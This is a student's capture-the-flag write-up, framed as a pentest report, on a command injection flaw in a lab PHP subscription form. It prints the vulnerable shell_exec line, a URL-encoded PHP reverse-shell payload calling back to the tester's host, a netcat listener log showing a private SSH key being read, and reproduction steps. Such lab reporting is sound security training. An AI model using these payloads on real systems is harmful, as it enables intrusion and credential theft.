

**Lindsay Von Tish  
lmv9443@nyu.edu**

**Challenge Write Up**

**Week Zero**

**01/31/2024**

Table of Contents

[Executive Summary 3](#_Toc129370235)

[Introduction 4](#_Toc129370236)

[Goals and Objectives 3](#_Toc129370237)

[Scope Overview 3](#_Toc129370238)

[In Scope 3](#_Toc129370239)

[Out of Scope 3](#_Toc129370240)

[Methods and Scope 4](#_Toc129370241)

[Detailed Scope 4](#_Toc129370242)

[External Network Pentest 4](#_Toc129370243)

[External Web Application Pentest 5](#_Toc129370244)

[Internal Network Pentest 5](#_Toc129370245)

[Rules of Engagement 5](#_Toc129370246)

[Methodology 6](#_Toc129370247)

[Deliverables 6](#_Toc129370248)

[Roles and Responsibilities 7](#_Toc129370249)

[Hyperthetical Consulting 7](#_Toc129370250)

[Near-Earth Broadcast Network 7](#_Toc129370251)

[Appendix A: Glossary and Definitions 8](#_Toc129370252)

[Appendix B: Tools 10](#_Toc129370253)

[Reconnaissance 10](#_Toc129370254)

[Vulnerability Discovery 10](#_Toc129370255)

[Exploitation and Escalation 10](#_Toc129370256)

# Introduction

This Penetration Testing Proposal aims to provide a comprehensive approach to performing a penetration test against the Near-Earth Broadcast Network (“NBN”) IT infrastructure. This proposal outlines the scope, methodology, and deliverables for the proposed penetration test (“pentest”). Using our methods, the pentest team will identify vulnerabilities and potential security risks, provide recommended remediation, and suggest best practices for software solutions. The Hyperthetical Security Consulting (“Hyperthetical”) team has the necessary experience and expertise to perform a comprehensive and detailed pen test of NBN's IT infrastructure, identify vulnerabilities and recommend remediation measures.

To test NBN's ability to defend against direct and indirect attacks, the Hyperthetical team will perform a comprehensive penetration test of NBN's external facing hosts and services, external web apps, and internal network. The team will begin the assessment from outside of the network and perform discovery and enumeration of the NBN external network. After verifying the discovered scope with the NBN security team, they will move on to vulnerability discovery and exploitation against the NBN external network and web applications. If the assessment team gains access to the NBN internal network, they will continue the assessment to find more vulnerabilities in the internal network. The team will perform testing with a focus on identifying medium to critical severity security vulnerabilities.

The Hyperthetical team will conduct the Penetration Test to avoid disrupting NBN's day-to-day operations. The assessment team will not perform Denial of Service (DoS) testing and will provide NBN with a schedule of events outlining the planned testing activities.

# Methods and Scope

## Detailed Scope

All testing will be conducted within a stringently adhered-to scope. All findings and analyses are limited to this scope.

### External Network Pentest

#### In Scope

The assessment team will enumerate all external-facing hosts and services. After performing enumeration, the team will verify the discovered scope with the NBN security team.

#### Out of Scope

|  |  |  |
| --- | --- | --- |
| Name | IP Address/URL | Description |
| NBN VPN | Not Provided | Vendor-hosted VPN for NBN employees. |
| Physical Office | N/A | NBN Office locations. |

# Challenge Details

### **Challenge Name**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **Critical Risk** | CVSS Score | 9.8 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

**Description:** OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server running an application and typically fully compromise the application and all its data. An attacker can often leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.

**Affected Locations**:

http://10.10.0.66/index.php

* name URL parameter
* email URL parameter

http://10.10.0.66:8001/index.php

* name URL parameter
* email URL parameter

#### **Details**

The “Subscribe Now” box in the web application allows users to enter their name and email address to sign up for the NBN network, as shown below:

Graphical user interface, text, application, email

Description automatically generated  
**Subscribe Now**

After the user inputs their name and email address, the application writes it to the customer list file by using the shell\_exec function, shown in the following line of code:

|  |
| --- |
| $cmd = shell\_exec( "echo '" . $\_GET['email'] . " : " . $\_GET['name'] . " //// ' >> /var/www/html/data/customer.list " ); |

**Write Email and Name To List**

Because the function places the user inputs into the string to be executed by the shell\_exec function without sanitization, an attacker can use specially crafted input to escape the echo command and execute arbitrary commands on the server. The Hyperthetical team was able to use this vulnerability to get a reverse shell on 10.10.0.66 in the context of the www-data user. The below request contains an encoded PHP reverse shell payload that caused the server to connect back to the assessment team’s jump host.

|  |
| --- |
| GET /?name=test&**email=test'%20%26%20php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.0.10%22%2C31337%29%3B%60%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%60%3B%27%3b%29%23** HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity...  Cookie: authenticated=0  Connection: close |

**Request**

|  |
| --- |
| php -r '$sock=fsockopen("10.10.0.10",31337);`/bin/bash <&3 >&3 2>&3`;' |

**PHP Payload**

After the assessment team sent the payloaded request to the web server, their listener caught a connection back from 10.10.0.66. With the www-data user access, the team was able to access sensitive information on the server and run additional commands. The below figure shows the listener catching the shell and the assessment team validating their access.

|  |
| --- |
| nc -nlvp 31337  listening on [any] 31337 ...  connect to [10.10.0.10] from (UNKNOWN) [10.10.0.66] 56152  **whoami**  **www-data**  pwd  /var/www/html  cat /.root.backup/.ssh/id\_rsa  -----BEGIN RSA PRIVATE KEY-----  MIIEpQIBAAK **[REDACTED]**  ...omitted for brevity... |

**www-data User Shell**

This exploit can be performed by a remote attacker without authentication to the web application, allowing them to easily gain a shell in the www\_data user context. Because the www\_data user has access to the SSH Private Keys in the /.root.backup/.ssh/ directory, an attacker who exploited this vulnerability would be able quickly gain root access to the web server.

#### **Steps to Reproduce**

1. Write a command that will connect back to a listening machine.  
   Ex:   
   php -r '$sock=fsockopen**("$ListeningMachineIP**",**$PortNumber**);`/bin/bash <&3 >&3 2>&3`;'
2. Escape the shell command by appending special characters on each side of the command.  
   Ex:  
   **' &** php -r '$sock=fsockopen("$ListeningMachineIP",$PortNumber);`/bin/bash <&3 >&3 2>&3`;'**;)#**
3. URL Encode the payload and append to a request URL parameter value.  
   Ex:  
   GET /?name=test&email=test**'%20%26%20php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.0.10%22%2C31337%29%3B%60%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%60%3B%27%3b%29%23**
4. Start a listener on your machine.  
   Ex:  
   $ nc -nlvp **$ListenerPort**
5. Send the request to the server and wait for a connection.

#### **Remediation Recommendations**

* **Input validation and sanitization**: One of the most effective ways to prevent OS command injection is to ensure that all user inputs are validated and sanitized properly. This involves checking for the presence of special characters that could be used to execute OS commands and filtering them out. This can be done using a whitelist or blacklist approach.
* **Use of parameterized queries:** Another recommended approach is to use parameterized queries when interacting with the database or other backend systems. This can help prevent attackers from injecting malicious commands into the query by ensuring that the query is pre-compiled and only allows for predefined parameters.
* **Use of parameterized queries:** Another recommended approach is to use parameterized queries when interacting with the database or other backend systems. This can help prevent attackers from injecting malicious commands into the query by ensuring that the query is pre-compiled and only allows for predefined parameters.

##### **Additional Resources**

PortSwigger – OS Command Injection

* <https://portswigger.net/web-security/os-command-injection#:~:text=OS%20command%20injection%20(also%20known,application%20and%20all%20its%20data>

# Appendix A: Student Information

|  |  |
| --- | --- |
| Lindsay Von Tish | |
| Email | lmv9443@nyu.edu |

# Appendix B: Tools

## Reconnaissance

|  |  |
| --- | --- |
| Name | URL |
| BuiltWith | <https://builtwith.com/> |
| Get All URLs (GAU) | <https://github.com/lc/gau> |
| GoWitness | <https://github.com/sensepost/gowitness> |
| Massscan | <https://github.com/robertdavidgraham/masscan> |
| Nmap | <https://nmap.org/> |
| Recon-ng | <https://www.kali.org/tools/recon-ng/> |
| Shodan | <https://www.shodan.io/> |
| TheHarvester | <https://www.kali.org/tools/theharvester/> |

## Vulnerability Discovery

|  |  |
| --- | --- |
| Name | URL |
| FFUF | <https://github.com/ffuf/ffuf> |
| Gobuster | <https://github.com/OJ/gobuster> |
| Nikto |  |
| Nmap Scripting Engine (NSE) | <https://nmap.org/book/nse.html> |
| OpenVAS | <https://github.com/sullo/nikto> |

## Exploitation and Escalation

|  |  |
| --- | --- |
| Name | URL |
| CrackMapExec | <https://www.kali.org/tools/crackmapexec/> |
| Metasploit | <https://www.metasploit.com/> |
| Mimikatz | <https://github.com/ParrotSec/mimikatz> |
| PowerSploit | <https://github.com/PowerShellMafia/PowerSploit> |
| Responder | <https://github.com/SpiderLabs/Responder> |

# Appendix C: Flags